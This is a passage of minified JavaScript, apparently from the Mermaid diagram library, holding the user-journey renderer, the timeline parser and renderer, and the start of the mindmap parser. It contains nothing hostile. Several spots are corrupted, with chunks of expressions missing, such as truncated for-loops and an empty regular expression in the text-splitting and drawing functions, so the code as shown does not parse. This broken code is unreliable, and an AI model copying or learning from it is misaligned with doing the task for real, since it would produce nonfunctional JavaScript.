meet"),d.attr("height",x+T+25)},"draw"),sl={data:{startx:void 0,stopx:void 0,starty:void 0,stopy:void 0},verticalPos:0,sequenceItems:[],init:o(function(){this.sequenceItems=[],this.data={startx:void 0,stopx:void 0,starty:void 0,stopy:void 0},this.verticalPos=0},"init"),updateVal:o(function(t,e,r,n){t[e]===void 0?t[e]=r:t[e]=n(r,t[e])},"updateVal"),updateBounds:o(function(t,e,r,n){let i=ge().journey,a=this,s=0;function l(u){return o(function(f){s++;let d=a.sequenceItems.length-s+1;a.updateVal(f,"starty",e-d*i.boxMargin,Math.min),a.updateVal(f,"stopy",n+d*i.boxMargin,Math.max),a.updateVal(sl.data,"startx",t-d*i.boxMargin,Math.min),a.updateVal(sl.data,"stopx",r+d*i.boxMargin,Math.max),u!=="activation"&&(a.updateVal(f,"startx",t-d*i.boxMargin,Math.min),a.updateVal(f,"stopx",r+d*i.boxMargin,Math.max),a.updateVal(sl.data,"starty",e-d*i.boxMargin,Math.min),a.updateVal(sl.data,"stopy",n+d*i.boxMargin,Math.max))},"updateItemBounds")}o(l,"updateFn"),this.sequenceItems.forEach(l())},"updateBounds"),insert:o(function(t,e,r,n){let i=Math.min(t,r),a=Math.max(t,r),s=Math.min(e,n),l=Math.max(e,n);this.updateVal(sl.data,"startx",i,Math.min),this.updateVal(sl.data,"starty",s,Math.min),this.updateVal(sl.data,"stopx",a,Math.max),this.updateVal(sl.data,"stopy",l,Math.max),this.updateBounds(i,s,a,l)},"insert"),bumpVerticalPos:o(function(t){this.verticalPos=this.verticalPos+t,this.data.stopy=this.verticalPos},"bumpVerticalPos"),getVerticalPos:o(function(){return this.verticalPos},"getVerticalPos"),getBounds:o(function(){return this.data},"getBounds")},M$=Hl.sectionFills,t2e=Hl.sectionColours,Yet=o(function(t,e,r){let n=ge().journey,i="",a=n.height*2+n.diagramMarginY,s=r+a,l=0,u="#CCC",h="black",f=0;for(let[d,p]of e.entries()){if(i!==p.section){u=M$[l%M$.length],f=l%M$.length,h=t2e[l%t2e.length];let g=0,y=p.section;for(let x=d;x(lh[y]&&(g[y]=lh[y]),g),{});p.x=d*n.taskMargin+d*n.width+Jf,p.y=s,p.width=n.diagramMarginX,p.height=n.diagramMarginY,p.colour=h,p.fill=u,p.num=f,p.actors=m,uy.drawTask(t,p,n),sl.insert(p.x,p.y,p.x+p.width+n.taskMargin,450)}},"drawTasks"),I$={setConf:Het,draw:Wet}});var n2e={};dr(n2e,{diagram:()=>Xet});var Xet,i2e=N(()=>{"use strict";qve();Yve();jve();r2e();Xet={parser:Hve,db:R$,renderer:I$,styles:Xve,init:o(t=>{I$.setConf(t.journey),R$.clear()},"init")}});var P$,h2e,f2e=N(()=>{"use strict";P$=(function(){var t=o(function(p,m,g,y){for(g=g||{},y=p.length;y--;g[p[y]]=m);return g},"o"),e=[6,8,10,11,12,14,16,17,20,21],r=[1,9],n=[1,10],i=[1,11],a=[1,12],s=[1,13],l=[1,16],u=[1,17],h={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,timeline:4,document:5,EOF:6,line:7,SPACE:8,statement:9,NEWLINE:10,title:11,acc_title:12,acc_title_value:13,acc_descr:14,acc_descr_value:15,acc_descr_multiline_value:16,section:17,period_statement:18,event_statement:19,period:20,event:21,$accept:0,$end:1},terminals_:{2:"error",4:"timeline",6:"EOF",8:"SPACE",10:"NEWLINE",11:"title",12:"acc_title",13:"acc_title_value",14:"acc_descr",15:"acc_descr_value",16:"acc_descr_multiline_value",17:"section",20:"period",21:"event"},productions_:[0,[3,3],[5,0],[5,2],[7,2],[7,1],[7,1],[7,1],[9,1],[9,2],[9,2],[9,1],[9,1],[9,1],[9,1],[18,1],[19,1]],performAction:o(function(m,g,y,v,x,b,T){var S=b.length-1;switch(x){case 1:return b[S-1];case 2:this.$=[];break;case 3:b[S-1].push(b[S]),this.$=b[S-1];break;case 4:case 5:this.$=b[S];break;case 6:case 7:this.$=[];break;case 8:v.getCommonDb().setDiagramTitle(b[S].substr(6)),this.$=b[S].substr(6);break;case 9:this.$=b[S].trim(),v.getCommonDb().setAccTitle(this.$);break;case 10:case 11:this.$=b[S].trim(),v.getCommonDb().setAccDescription(this.$);break;case 12:v.addSection(b[S].substr(8)),this.$=b[S].substr(8);break;case 15:v.addTask(b[S],0,""),this.$=b[S];break;case 16:v.addEvent(b[S].substr(2)),this.$=b[S];break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:[1,6],9:7,10:[1,8],11:r,12:n,14:i,16:a,17:s,18:14,19:15,20:l,21:u},t(e,[2,7],{1:[2,1]}),t(e,[2,3]),{9:18,11:r,12:n,14:i,16:a,17:s,18:14,19:15,20:l,21:u},t(e,[2,5]),t(e,[2,6]),t(e,[2,8]),{13:[1,19]},{15:[1,20]},t(e,[2,11]),t(e,[2,12]),t(e,[2,13]),t(e,[2,14]),t(e,[2,15]),t(e,[2,16]),t(e,[2,4]),t(e,[2,9]),t(e,[2,10])],defaultActions:{},parseError:o(function(m,g){if(g.recoverable)this.trace(m);else{var y=new Error(m);throw y.hash=g,y}},"parseError"),parse:o(function(m){var g=this,y=[0],v=[],x=[null],b=[],T=this.table,S="",w=0,k=0,A=0,C=2,R=1,I=b.slice.call(arguments,1),L=Object.create(this.lexer),E={yy:{}};for(var D in this.yy)Object.prototype.hasOwnProperty.call(this.yy,D)&&(E.yy[D]=this.yy[D]);L.setInput(m,E.yy),E.yy.lexer=L,E.yy.parser=this,typeof L.yylloc>"u"&&(L.yylloc={});var _=L.yylloc;b.push(_);var O=L.options&&L.options.ranges;typeof E.yy.parseError=="function"?this.parseError=E.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function M(ee){y.length=y.length-2*ee,x.length=x.length-ee,b.length=b.length-ee}o(M,"popStack");function P(){var ee;return ee=v.pop()||L.lex()||R,typeof ee!="number"&&(ee instanceof Array&&(v=ee,ee=v.pop()),ee=g.symbols_[ee]||ee),ee}o(P,"lex");for(var B,F,G,$,U,j,te={},Y,oe,J,ue;;){if(G=y[y.length-1],this.defaultActions[G]?$=this.defaultActions[G]:((B===null||typeof B>"u")&&(B=P()),$=T[G]&&T[G][B]),typeof $>"u"||!$.length||!$[0]){var re="";ue=[];for(Y in T[G])this.terminals_[Y]&&Y>C&&ue.push("'"+this.terminals_[Y]+"'");L.showPosition?re="Parse error on line "+(w+1)+`: +`+L.showPosition()+` +Expecting `+ue.join(", ")+", got '"+(this.terminals_[B]||B)+"'":re="Parse error on line "+(w+1)+": Unexpected "+(B==R?"end of input":"'"+(this.terminals_[B]||B)+"'"),this.parseError(re,{text:L.match,token:this.terminals_[B]||B,line:L.yylineno,loc:_,expected:ue})}if($[0]instanceof Array&&$.length>1)throw new Error("Parse Error: multiple actions possible at state: "+G+", token: "+B);switch($[0]){case 1:y.push(B),x.push(L.yytext),b.push(L.yylloc),y.push($[1]),B=null,F?(B=F,F=null):(k=L.yyleng,S=L.yytext,w=L.yylineno,_=L.yylloc,A>0&&A--);break;case 2:if(oe=this.productions_[$[1]][1],te.$=x[x.length-oe],te._$={first_line:b[b.length-(oe||1)].first_line,last_line:b[b.length-1].last_line,first_column:b[b.length-(oe||1)].first_column,last_column:b[b.length-1].last_column},O&&(te._$.range=[b[b.length-(oe||1)].range[0],b[b.length-1].range[1]]),j=this.performAction.apply(te,[S,k,w,E.yy,$[1],x,b].concat(I)),typeof j<"u")return j;oe&&(y=y.slice(0,-1*oe*2),x=x.slice(0,-1*oe),b=b.slice(0,-1*oe)),y.push(this.productions_[$[1]][0]),x.push(te.$),b.push(te._$),J=T[y[y.length-2]][y[y.length-1]],y.push(J);break;case 3:return!0}}return!0},"parse")},f=(function(){var p={EOF:1,parseError:o(function(g,y){if(this.yy.parser)this.yy.parser.parseError(g,y);else throw new Error(g)},"parseError"),setInput:o(function(m,g){return this.yy=g||this.yy||{},this._input=m,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var m=this._input[0];this.yytext+=m,this.yyleng++,this.offset++,this.match+=m,this.matched+=m;var g=m.match(/(?:\r\n?|\n).*/g);return g?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),m},"input"),unput:o(function(m){var g=m.length,y=m.split(/(?:\r\n?|\n)/g);this._input=m+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-g),this.offset-=g;var v=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),y.length-1&&(this.yylineno-=y.length-1);var x=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:y?(y.length===v.length?this.yylloc.first_column:0)+v[v.length-y.length].length-y[0].length:this.yylloc.first_column-g},this.options.ranges&&(this.yylloc.range=[x[0],x[0]+this.yyleng-g]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(m){this.unput(this.match.slice(m))},"less"),pastInput:o(function(){var m=this.matched.substr(0,this.matched.length-this.match.length);return(m.length>20?"...":"")+m.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var m=this.match;return m.length<20&&(m+=this._input.substr(0,20-m.length)),(m.substr(0,20)+(m.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var m=this.pastInput(),g=new Array(m.length+1).join("-");return m+this.upcomingInput()+` +`+g+"^"},"showPosition"),test_match:o(function(m,g){var y,v,x;if(this.options.backtrack_lexer&&(x={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(x.yylloc.range=this.yylloc.range.slice(0))),v=m[0].match(/(?:\r\n?|\n).*/g),v&&(this.yylineno+=v.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:v?v[v.length-1].length-v[v.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+m[0].length},this.yytext+=m[0],this.match+=m[0],this.matches=m,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(m[0].length),this.matched+=m[0],y=this.performAction.call(this,this.yy,this,g,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),y)return y;if(this._backtrack){for(var b in x)this[b]=x[b];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var m,g,y,v;this._more||(this.yytext="",this.match="");for(var x=this._currentRules(),b=0;bg[0].length)){if(g=y,v=b,this.options.backtrack_lexer){if(m=this.test_match(y,x[b]),m!==!1)return m;if(this._backtrack){g=!1;continue}else return!1}else if(!this.options.flex)break}return g?(m=this.test_match(g,x[v]),m!==!1?m:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var g=this.next();return g||this.lex()},"lex"),begin:o(function(g){this.conditionStack.push(g)},"begin"),popState:o(function(){var g=this.conditionStack.length-1;return g>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(g){return g=this.conditionStack.length-1-Math.abs(g||0),g>=0?this.conditionStack[g]:"INITIAL"},"topState"),pushState:o(function(g){this.begin(g)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(g,y,v,x){var b=x;switch(v){case 0:break;case 1:break;case 2:return 10;case 3:break;case 4:break;case 5:return 4;case 6:return 11;case 7:return this.begin("acc_title"),12;break;case 8:return this.popState(),"acc_title_value";break;case 9:return this.begin("acc_descr"),14;break;case 10:return this.popState(),"acc_descr_value";break;case 11:this.begin("acc_descr_multiline");break;case 12:this.popState();break;case 13:return"acc_descr_multiline_value";case 14:return 17;case 15:return 21;case 16:return 20;case 17:return 6;case 18:return"INVALID"}},"anonymous"),rules:[/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:timeline\b)/i,/^(?:title\s[^\n]+)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:section\s[^:\n]+)/i,/^(?::\s(?:[^:\n]|:(?!\s))+)/i,/^(?:[^#:\n]+)/i,/^(?:$)/i,/^(?:.)/i],conditions:{acc_descr_multiline:{rules:[12,13],inclusive:!1},acc_descr:{rules:[10],inclusive:!1},acc_title:{rules:[8],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,9,11,14,15,16,17,18],inclusive:!0}}};return p})();h.lexer=f;function d(){this.yy={}}return o(d,"Parser"),d.prototype=h,h.Parser=d,new d})();P$.parser=P$;h2e=P$});var F$={};dr(F$,{addEvent:()=>T2e,addSection:()=>y2e,addTask:()=>b2e,addTaskOrg:()=>w2e,clear:()=>g2e,default:()=>ntt,getCommonDb:()=>m2e,getSections:()=>v2e,getTasks:()=>x2e});var hy,p2e,B$,xC,fy,m2e,g2e,y2e,v2e,x2e,b2e,T2e,w2e,d2e,ntt,k2e=N(()=>{"use strict";ci();hy="",p2e=0,B$=[],xC=[],fy=[],m2e=o(()=>rv,"getCommonDb"),g2e=o(function(){B$.length=0,xC.length=0,hy="",fy.length=0,Sr()},"clear"),y2e=o(function(t){hy=t,B$.push(t)},"addSection"),v2e=o(function(){return B$},"getSections"),x2e=o(function(){let t=d2e(),e=100,r=0;for(;!t&&rr.id===p2e-1).events.push(t)},"addEvent"),w2e=o(function(t){let e={section:hy,type:hy,description:t,task:t,classes:[]};xC.push(e)},"addTaskOrg"),d2e=o(function(){let t=o(function(r){return fy[r].processed},"compileTask"),e=!0;for(let[r,n]of fy.entries())t(r),e=e&&n.processed;return e},"compileTasks"),ntt={clear:g2e,getCommonDb:m2e,addSection:y2e,getSections:v2e,getTasks:x2e,addTask:b2e,addTaskOrg:w2e,addEvent:T2e}});function A2e(t,e){t.each(function(){var r=qe(this),n=r.text().split(/(\s+|
    )/).reverse(),i,a=[],s=1.1,l=r.attr("y"),u=parseFloat(r.attr("dy")),h=r.text(null).append("tspan").attr("x",0).attr("y",l).attr("dy",u+"em");for(let f=0;fe||i==="
    ")&&(a.pop(),h.text(a.join(" ").trim()),i==="
    "?a=[""]:a=[i],h=r.append("tspan").attr("x",0).attr("y",l).attr("dy",s+"em").text(i))})}var itt,bC,att,stt,S2e,ott,ltt,E2e,ctt,utt,htt,$$,C2e,ftt,dtt,ptt,mtt,ed,_2e=N(()=>{"use strict";yr();itt=12,bC=o(function(t,e){let r=t.append("rect");return r.attr("x",e.x),r.attr("y",e.y),r.attr("fill",e.fill),r.attr("stroke",e.stroke),r.attr("width",e.width),r.attr("height",e.height),r.attr("rx",e.rx),r.attr("ry",e.ry),e.class!==void 0&&r.attr("class",e.class),r},"drawRect"),att=o(function(t,e){let n=t.append("circle").attr("cx",e.cx).attr("cy",e.cy).attr("class","face").attr("r",15).attr("stroke-width",2).attr("overflow","visible"),i=t.append("g");i.append("circle").attr("cx",e.cx-15/3).attr("cy",e.cy-15/3).attr("r",1.5).attr("stroke-width",2).attr("fill","#666").attr("stroke","#666"),i.append("circle").attr("cx",e.cx+15/3).attr("cy",e.cy-15/3).attr("r",1.5).attr("stroke-width",2).attr("fill","#666").attr("stroke","#666");function a(u){let h=Sl().startAngle(Math.PI/2).endAngle(3*(Math.PI/2)).innerRadius(7.5).outerRadius(6.8181818181818175);u.append("path").attr("class","mouth").attr("d",h).attr("transform","translate("+e.cx+","+(e.cy+2)+")")}o(a,"smile");function s(u){let h=Sl().startAngle(3*Math.PI/2).endAngle(5*(Math.PI/2)).innerRadius(7.5).outerRadius(6.8181818181818175);u.append("path").attr("class","mouth").attr("d",h).attr("transform","translate("+e.cx+","+(e.cy+7)+")")}o(s,"sad");function l(u){u.append("line").attr("class","mouth").attr("stroke",2).attr("x1",e.cx-5).attr("y1",e.cy+7).attr("x2",e.cx+5).attr("y2",e.cy+7).attr("class","mouth").attr("stroke-width","1px").attr("stroke","#666")}return o(l,"ambivalent"),e.score>3?a(i):e.score<3?s(i):l(i),n},"drawFace"),stt=o(function(t,e){let r=t.append("circle");return r.attr("cx",e.cx),r.attr("cy",e.cy),r.attr("class","actor-"+e.pos),r.attr("fill",e.fill),r.attr("stroke",e.stroke),r.attr("r",e.r),r.class!==void 0&&r.attr("class",r.class),e.title!==void 0&&r.append("title").text(e.title),r},"drawCircle"),S2e=o(function(t,e){let r=e.text.replace(//gi," "),n=t.append("text");n.attr("x",e.x),n.attr("y",e.y),n.attr("class","legend"),n.style("text-anchor",e.anchor),e.class!==void 0&&n.attr("class",e.class);let i=n.append("tspan");return i.attr("x",e.x+e.textMargin*2),i.text(r),n},"drawText"),ott=o(function(t,e){function r(i,a,s,l,u){return i+","+a+" "+(i+s)+","+a+" "+(i+s)+","+(a+l-u)+" "+(i+s-u*1.2)+","+(a+l)+" "+i+","+(a+l)}o(r,"genPoints");let n=t.append("polygon");n.attr("points",r(e.x,e.y,50,20,7)),n.attr("class","labelBox"),e.y=e.y+e.labelMargin,e.x=e.x+.5*e.labelMargin,S2e(t,e)},"drawLabel"),ltt=o(function(t,e,r){let n=t.append("g"),i=$$();i.x=e.x,i.y=e.y,i.fill=e.fill,i.width=r.width,i.height=r.height,i.class="journey-section section-type-"+e.num,i.rx=3,i.ry=3,bC(n,i),C2e(r)(e.text,n,i.x,i.y,i.width,i.height,{class:"journey-section section-type-"+e.num},r,e.colour)},"drawSection"),E2e=-1,ctt=o(function(t,e,r){let n=e.x+r.width/2,i=t.append("g");E2e++,i.append("line").attr("id","task"+E2e).attr("x1",n).attr("y1",e.y).attr("x2",n).attr("y2",450).attr("class","task-line").attr("stroke-width","1px").attr("stroke-dasharray","4 2").attr("stroke","#666"),att(i,{cx:n,cy:300+(5-e.score)*30,score:e.score});let s=$$();s.x=e.x,s.y=e.y,s.fill=e.fill,s.width=r.width,s.height=r.height,s.class="task task-type-"+e.num,s.rx=3,s.ry=3,bC(i,s),C2e(r)(e.task,i,s.x,s.y,s.width,s.height,{class:"task"},r,e.colour)},"drawTask"),utt=o(function(t,e){bC(t,{x:e.startx,y:e.starty,width:e.stopx-e.startx,height:e.stopy-e.starty,fill:e.fill,class:"rect"}).lower()},"drawBackgroundRect"),htt=o(function(){return{x:0,y:0,fill:void 0,"text-anchor":"start",width:100,height:100,textMargin:0,rx:0,ry:0}},"getTextObj"),$$=o(function(){return{x:0,y:0,width:100,anchor:"start",height:100,rx:0,ry:0}},"getNoteRect"),C2e=(function(){function t(i,a,s,l,u,h,f,d){let p=a.append("text").attr("x",s+u/2).attr("y",l+h/2+5).style("font-color",d).style("text-anchor","middle").text(i);n(p,f)}o(t,"byText");function e(i,a,s,l,u,h,f,d,p){let{taskFontSize:m,taskFontFamily:g}=d,y=i.split(//gi);for(let v=0;v{"use strict";yr();_2e();pt();Xt();Ei();gtt=o(function(t,e,r,n){let i=ge(),a=i.timeline?.leftMargin??50;X.debug("timeline",n.db);let s=i.securityLevel,l;s==="sandbox"&&(l=qe("#i"+e));let h=(s==="sandbox"?qe(l.nodes()[0].contentDocument.body):qe("body")).select("#"+e);h.append("g");let f=n.db.getTasks(),d=n.db.getCommonDb().getDiagramTitle();X.debug("task",f),ed.initGraphics(h);let p=n.db.getSections();X.debug("sections",p);let m=0,g=0,y=0,v=0,x=50+a,b=50;v=50;let T=0,S=!0;p.forEach(function(R){let I={number:T,descr:R,section:T,width:150,padding:20,maxHeight:m},L=ed.getVirtualNodeHeight(h,I,i);X.debug("sectionHeight before draw",L),m=Math.max(m,L+20)});let w=0,k=0;X.debug("tasks.length",f.length);for(let[R,I]of f.entries()){let L={number:R,descr:I,section:I.section,width:150,padding:20,maxHeight:g},E=ed.getVirtualNodeHeight(h,L,i);X.debug("taskHeight before draw",E),g=Math.max(g,E+20),w=Math.max(w,I.events.length);let D=0;for(let _ of I.events){let O={descr:_,section:I.section,number:I.section,width:150,padding:20,maxHeight:50};D+=ed.getVirtualNodeHeight(h,O,i)}I.events.length>0&&(D+=(I.events.length-1)*10),k=Math.max(k,D)}X.debug("maxSectionHeight before draw",m),X.debug("maxTaskHeight before draw",g),p&&p.length>0?p.forEach(R=>{let I=f.filter(_=>_.section===R),L={number:T,descr:R,section:T,width:200*Math.max(I.length,1)-50,padding:20,maxHeight:m};X.debug("sectionNode",L);let E=h.append("g"),D=ed.drawNode(E,L,T,i);X.debug("sectionNode output",D),E.attr("transform",`translate(${x}, ${v})`),b+=m+50,I.length>0&&D2e(h,I,T,x,b,g,i,w,k,m,!1),x+=200*Math.max(I.length,1),b=v,T++}):(S=!1,D2e(h,f,T,x,b,g,i,w,k,m,!0));let A=h.node().getBBox();X.debug("bounds",A),d&&h.append("text").text(d).attr("x",A.width/2-a).attr("font-size","4ex").attr("font-weight","bold").attr("y",20),y=S?m+g+150:g+100,h.append("g").attr("class","lineWrapper").append("line").attr("x1",a).attr("y1",y).attr("x2",A.width+3*a).attr("y2",y).attr("stroke-width",4).attr("stroke","black").attr("marker-end","url(#arrowhead)"),ic(void 0,h,i.timeline?.padding??50,i.timeline?.useMaxWidth??!1)},"draw"),D2e=o(function(t,e,r,n,i,a,s,l,u,h,f){for(let d of e){let p={descr:d.task,section:r,number:r,width:150,padding:20,maxHeight:a};X.debug("taskNode",p);let m=t.append("g").attr("class","taskWrapper"),y=ed.drawNode(m,p,r,s).height;if(X.debug("taskHeight after draw",y),m.attr("transform",`translate(${n}, ${i})`),a=Math.max(a,y),d.events){let v=t.append("g").attr("class","lineWrapper"),x=a;i+=100,x=x+ytt(t,d.events,r,n,i,s),i-=100,v.append("line").attr("x1",n+190/2).attr("y1",i+a).attr("x2",n+190/2).attr("y2",i+a+100+u+100).attr("stroke-width",2).attr("stroke","black").attr("marker-end","url(#arrowhead)").attr("stroke-dasharray","5,5")}n=n+200,f&&!s.timeline?.disableMulticolor&&r++}i=i-10},"drawTasks"),ytt=o(function(t,e,r,n,i,a){let s=0,l=i;i=i+100;for(let u of e){let h={descr:u,section:r,number:r,width:150,padding:20,maxHeight:50};X.debug("eventNode",h);let f=t.append("g").attr("class","eventWrapper"),p=ed.drawNode(f,h,r,a).height;s=s+p,f.attr("transform",`translate(${n}, ${i})`),i=i+10+p}return i=l,s},"drawEvents"),L2e={setConf:o(()=>{},"setConf"),draw:gtt}});var vtt,xtt,N2e,M2e=N(()=>{"use strict";eo();vtt=o(t=>{let e="";for(let r=0;r` + .edge { + stroke-width: 3; + } + ${vtt(t)} + .section-root rect, .section-root path, .section-root circle { + fill: ${t.git0}; + } + .section-root text { + fill: ${t.gitBranchLabel0}; + } + .icon-container { + height:100%; + display: flex; + justify-content: center; + align-items: center; + } + .edge { + fill: none; + } + .eventWrapper { + filter: brightness(120%); + } +`,"getStyles"),N2e=xtt});var I2e={};dr(I2e,{diagram:()=>btt});var btt,O2e=N(()=>{"use strict";f2e();k2e();R2e();M2e();btt={db:F$,renderer:L2e,parser:h2e,styles:N2e}});var z$,F2e,$2e=N(()=>{"use strict";z$=(function(){var t=o(function(S,w,k,A){for(k=k||{},A=S.length;A--;k[S[A]]=w);return k},"o"),e=[1,4],r=[1,13],n=[1,12],i=[1,15],a=[1,16],s=[1,20],l=[1,19],u=[6,7,8],h=[1,26],f=[1,24],d=[1,25],p=[6,7,11],m=[1,6,13,15,16,19,22],g=[1,33],y=[1,34],v=[1,6,7,11,13,15,16,19,22],x={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,mindMap:4,spaceLines:5,SPACELINE:6,NL:7,MINDMAP:8,document:9,stop:10,EOF:11,statement:12,SPACELIST:13,node:14,ICON:15,CLASS:16,nodeWithId:17,nodeWithoutId:18,NODE_DSTART:19,NODE_DESCR:20,NODE_DEND:21,NODE_ID:22,$accept:0,$end:1},terminals_:{2:"error",6:"SPACELINE",7:"NL",8:"MINDMAP",11:"EOF",13:"SPACELIST",15:"ICON",16:"CLASS",19:"NODE_DSTART",20:"NODE_DESCR",21:"NODE_DEND",22:"NODE_ID"},productions_:[0,[3,1],[3,2],[5,1],[5,2],[5,2],[4,2],[4,3],[10,1],[10,1],[10,1],[10,2],[10,2],[9,3],[9,2],[12,2],[12,2],[12,2],[12,1],[12,1],[12,1],[12,1],[12,1],[14,1],[14,1],[18,3],[17,1],[17,4]],performAction:o(function(w,k,A,C,R,I,L){var E=I.length-1;switch(R){case 6:case 7:return C;case 8:C.getLogger().trace("Stop NL ");break;case 9:C.getLogger().trace("Stop EOF ");break;case 11:C.getLogger().trace("Stop NL2 ");break;case 12:C.getLogger().trace("Stop EOF2 ");break;case 15:C.getLogger().info("Node: ",I[E].id),C.addNode(I[E-1].length,I[E].id,I[E].descr,I[E].type);break;case 16:C.getLogger().trace("Icon: ",I[E]),C.decorateNode({icon:I[E]});break;case 17:case 21:C.decorateNode({class:I[E]});break;case 18:C.getLogger().trace("SPACELIST");break;case 19:C.getLogger().trace("Node: ",I[E].id),C.addNode(0,I[E].id,I[E].descr,I[E].type);break;case 20:C.decorateNode({icon:I[E]});break;case 25:C.getLogger().trace("node found ..",I[E-2]),this.$={id:I[E-1],descr:I[E-1],type:C.getType(I[E-2],I[E])};break;case 26:this.$={id:I[E],descr:I[E],type:C.nodeType.DEFAULT};break;case 27:C.getLogger().trace("node found ..",I[E-3]),this.$={id:I[E-3],descr:I[E-1],type:C.getType(I[E-2],I[E])};break}},"anonymous"),table:[{3:1,4:2,5:3,6:[1,5],8:e},{1:[3]},{1:[2,1]},{4:6,6:[1,7],7:[1,8],8:e},{6:r,7:[1,10],9:9,12:11,13:n,14:14,15:i,16:a,17:17,18:18,19:s,22:l},t(u,[2,3]),{1:[2,2]},t(u,[2,4]),t(u,[2,5]),{1:[2,6],6:r,12:21,13:n,14:14,15:i,16:a,17:17,18:18,19:s,22:l},{6:r,9:22,12:11,13:n,14:14,15:i,16:a,17:17,18:18,19:s,22:l},{6:h,7:f,10:23,11:d},t(p,[2,22],{17:17,18:18,14:27,15:[1,28],16:[1,29],19:s,22:l}),t(p,[2,18]),t(p,[2,19]),t(p,[2,20]),t(p,[2,21]),t(p,[2,23]),t(p,[2,24]),t(p,[2,26],{19:[1,30]}),{20:[1,31]},{6:h,7:f,10:32,11:d},{1:[2,7],6:r,12:21,13:n,14:14,15:i,16:a,17:17,18:18,19:s,22:l},t(m,[2,14],{7:g,11:y}),t(v,[2,8]),t(v,[2,9]),t(v,[2,10]),t(p,[2,15]),t(p,[2,16]),t(p,[2,17]),{20:[1,35]},{21:[1,36]},t(m,[2,13],{7:g,11:y}),t(v,[2,11]),t(v,[2,12]),{21:[1,37]},t(p,[2,25]),t(p,[2,27])],defaultActions:{2:[2,1],6:[2,2]},parseError:o(function(w,k){if(k.recoverable)this.trace(w);else{var A=new Error(w);throw A.hash=k,A}},"parseError"),parse:o(function(w){var k=this,A=[0],C=[],R=[null],I=[],L=this.table,E="",D=0,_=0,O=0,M=2,P=1,B=I.slice.call(arguments,1),F=Object.create(this.lexer),G={yy:{}};for(var $ in this.yy)Object.prototype.hasOwnProperty.call(this.yy,$)&&(G.yy[$]=this.yy[$]);F.setInput(w,G.yy),G.yy.lexer=F,G.yy.parser=this,typeof F.yylloc>"u"&&(F.yylloc={});var U=F.yylloc;I.push(U);var j=F.options&&F.options.ranges;typeof G.yy.parseError=="function"?this.parseError=G.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function te(q){A.length=A.length-2*q,R.length=R.length-q,I.length=I.length-q}o(te,"popStack");function Y(){var q;return q=C.pop()||F.lex()||P,typeof q!="number"&&(q instanceof Array&&(C=q,q=C.pop()),q=k.symbols_[q]||q),q}o(Y,"lex");for(var oe,J,ue,re,ee,Z,K={},ae,Q,de,ne;;){if(ue=A[A.length-1],this.defaultActions[ue]?re=this.defaultActions[ue]:((oe===null||typeof oe>"u")&&(oe=Y()),re=L[ue]&&L[ue][oe]),typeof re>"u"||!re.length||!re[0]){var Te="";ne=[];for(ae in L[ue])this.terminals_[ae]&&ae>M&&ne.push("'"+this.terminals_[ae]+"'");F.showPosition?Te="Parse error on line "+(D+1)+`: +`+F.showPosition()+` +Expecting `+ne.join(", ")+", got '"+(this.terminals_[oe]||oe)+"'":Te="Parse error on line "+(D+1)+": Unexpected "+(oe==P?"end of 